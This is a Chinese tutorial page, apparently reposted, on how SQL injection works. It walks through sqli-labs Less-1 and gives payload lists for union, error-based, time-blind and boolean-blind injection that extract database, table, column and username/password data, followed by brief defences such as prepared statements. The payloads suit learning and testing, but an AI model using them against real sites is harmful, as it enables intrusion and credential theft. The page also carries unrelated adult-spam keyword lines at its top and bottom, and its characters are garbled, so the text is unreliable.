国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

SQL注入漏洞的原理

發(fā)布時(shí)間:2021-09-14 11:25 來(lái)源:億速云 閱讀:0 作者:chen 欄目: 網(wǎng)絡(luò )安全

這篇文章主要講解了“SQL注入漏洞的原理”,文中的講解內容簡(jiǎn)單清晰,易于學(xué)習與理解,下面請大家跟著(zhù)小編的思路慢慢深入,一起來(lái)研究和學(xué)習“SQL注入漏洞的原理”吧!

漏洞原理實(shí)例

用戶(hù)提交數據后,后端將用戶(hù)提交的數據帶入sql語(yǔ)句對數據庫進(jìn)行操作,如果沒(méi)有進(jìn)行過(guò)濾,那么用戶(hù)提交構造好的特殊語(yǔ)句,就可以對數據庫進(jìn)行非法的操作,即引發(fā)sql注入,例如以下代碼(sqli-labs-1)

//GET方式獲取name為id的值賦值給$id變量;
$id=$_GET['id'];

//定義$sql變量,值為下一步要執行的sql語(yǔ)句,將$id變量帶入sql語(yǔ)句中;
$sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1"; 

//將上一步定義的$sql變量的值作為sql語(yǔ)句帶入數據庫查詢(xún),并將結果賦值給$result變量,_query為php提供的數據庫查詢(xún)函數;
$result=mysql_query($sql);

//從上一步查詢(xún)的結果集中去的一行作為數組返回并賦值給$row變量;
$row = mysql_fetch_array($result);

//如果$row值不為空,即數據庫查詢(xún)數據正常,則打印出username和password的值;
if($row)
{
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else 
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";  
}
}

數據庫中有數據如下

那么用戶(hù)提交?id=-1,則代入數據庫正常查詢(xún)且正常輸出

但如果用戶(hù)提交的數據為

?id=-1' union select 1,2,database() --+

那么則會(huì )返回我們構造的語(yǔ)句對數據庫進(jìn)行的查詢(xún)操作返回的值

我們將兩個(gè)提交的數據都帶入我們后端的執行中對比,如下

原始語(yǔ)句:SELECT * FROM user WHERE id='$id' LIMIT 0,1
正常帶入數據:SELECT * FROM user WHERE id='1' LIMIT 0,1
非法帶入數據:SELECT * FROM user WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1

--(注:在執行sql語(yǔ)句時(shí),“--”是sql語(yǔ)句中的注釋符,但是使用時(shí)--后要有一個(gè)空格才能起到注釋作用,否則會(huì )報錯,這里的+號經(jīng)過(guò)處理后會(huì )變成空格,用來(lái)和后面的單引號分隔開(kāi),才能將后面的語(yǔ)句注釋。)

可以看到,如果沒(méi)有經(jīng)過(guò)過(guò)濾就將用戶(hù)提交的非法數據帶入后端執行的話(huà),真正執行的語(yǔ)句是SELECT * FROM user WHERE id='-1' union select 1,2,database() -- ' LIMIT 0,1,而后面被注釋的部分不執行,那么就不會(huì )引發(fā)錯誤,在查詢(xún)id字段值為-1沒(méi)有結果后,就會(huì )執行union查詢(xún),查詢(xún)出數據庫名并輸出,這就是最典型的sql注入。

漏洞分類(lèi)

就不按照數字型字符型這些來(lái)分類(lèi)了,我認為按照利用方式來(lái)分類(lèi)更容易理解

有回顯

Union query #聯(lián)合查詢(xún)注入,通過(guò)union聯(lián)合查詢(xún)獲取查詢(xún)結果
Error based #報錯注入,通過(guò)報錯信息獲取查詢(xún)結果

無(wú)回顯

Boolean based blind #布爾盲注,通過(guò)應用返回不同的值判斷條件真假
Time based blind #時(shí)間盲注,通過(guò)不同的時(shí)間延遲推斷條件真假

漏洞檢測

手工檢測

提交的參數與數據庫交互,參數添加“ ' ”(英文單引號),出現異常(sql語(yǔ)法錯誤),即存在sql注入,如果無(wú)回顯,可以通過(guò)延時(shí)或者布爾盲注來(lái)檢測是否存在漏洞。

注:異常報錯的原因是因為后臺將參數中的單引號帶入sql語(yǔ)句進(jìn)行數據庫操作,多了一個(gè)單引號引發(fā)sql語(yǔ)法錯誤,所以報錯即整明了我們的單引號進(jìn)入了sql語(yǔ)句執行中。

工具檢測

使用sqlmap進(jìn)行檢測,這里是下載地址和使用說(shuō)明點(diǎn)擊跳轉

漏洞利用

手工注入

有回顯型構造語(yǔ)句查詢(xún)數據,無(wú)回顯型進(jìn)行盲注,不過(guò)比較費時(shí)間。

這里就以mysql的數據庫,sqli-labs的less-1為例,列出一些常用的語(yǔ)句,如果要詳細展開(kāi)細講的話(huà),篇幅肯定會(huì )特別特別長(cháng),一篇文章恐怕各位看官們也看不下去,各位需要用到更多的語(yǔ)句時(shí)自行百度即可,如果需要的話(huà)后面可以分開(kāi)出詳細的各中注入方式的詳解文章。

UNION聯(lián)合查詢(xún)注入
爆列數:?id=-1' order by n--+(“n”到幾不報錯則有n-1列)
爆庫名:?id=-1' union select 1,2,database() --+
爆表明:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆數據:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

注:使用中根據實(shí)際需要修改字段數(列數)以及庫名表名等,union查詢(xún)的字段數需要和表中的字段數相同才可以
報錯注入
爆庫名:?id=-1’ union select count(*),count(*),concat(‘~’,(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名:?id=-1' union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆列名:?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆數據:?id=-1' union select count(*),1, concat('~',(select concat_ws(':',username,password) from users limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
時(shí)間盲注
爆庫長(cháng):?id=1' and if(length(database())=8,sleep(5),NULL)--+
爆庫名:?id=1' and if(left(database(),1)='s',sleep(5),NULL)--+
爆表名:?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),NULL)--+
爆列明:?id=1' and if(left((select column_name from information_schema.columns where table_name = 'users' limit 1,1),8)='username',sleep(5),NULL)--+
爆數據:?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+
布爾盲注
爆庫名:?id=1' and left((select database()),1)='s'--+
爆表名:?id=1' and left((select table_name from information_schema.tables where table_schema ='security' limit 3,1),5)='users'--+
爆列明:?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+
爆數據:?id=1' and left((select username from users order by id limit 0,1),4)='dumb'--+

無(wú)回顯的還有一種利用方式是利用log外帶查詢(xún)的內容,這里有一位師傅講的已經(jīng)很詳細了,點(diǎn)擊查看原文

以上為GET型注入,POST型類(lèi)似,修改參數值即可。

工具注入

依舊是sqlmap一把梭,實(shí)戰中根據實(shí)際需求使用tamper進(jìn)行繞過(guò)一些過(guò)濾。

常見(jiàn)場(chǎng)景

用戶(hù)可控的參數與數據庫有交互的地方,常見(jiàn)與查詢(xún),登錄等;

在測試中可以爬取網(wǎng)站的一些api查詢(xún)接口,也會(huì )存在sql注入。

漏洞防御

WAF(web應用防火墻)

為網(wǎng)站添加waf,雖然不能修復sql注入漏洞,但是可以攔截敏感數據以防止sql注入被黑客利用

Filter過(guò)濾

服務(wù)器端添加過(guò)濾代碼以過(guò)濾可能引發(fā)sql注入的敏感字符

sql預編譯

示例:

prepare baizesec from 'select username,password from users where id=?'; 定義預編譯語(yǔ)句
set @a=1; 傳參數
execute baizesec using @a; 調用

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

SQL
欧乱色国产精品兔费视频| 精品深夜AV无码一区二区老年| A∨在线视频播放| 国产精品久久久| 无码永久免费AV网站| 亚洲中文字幕一区精品自拍|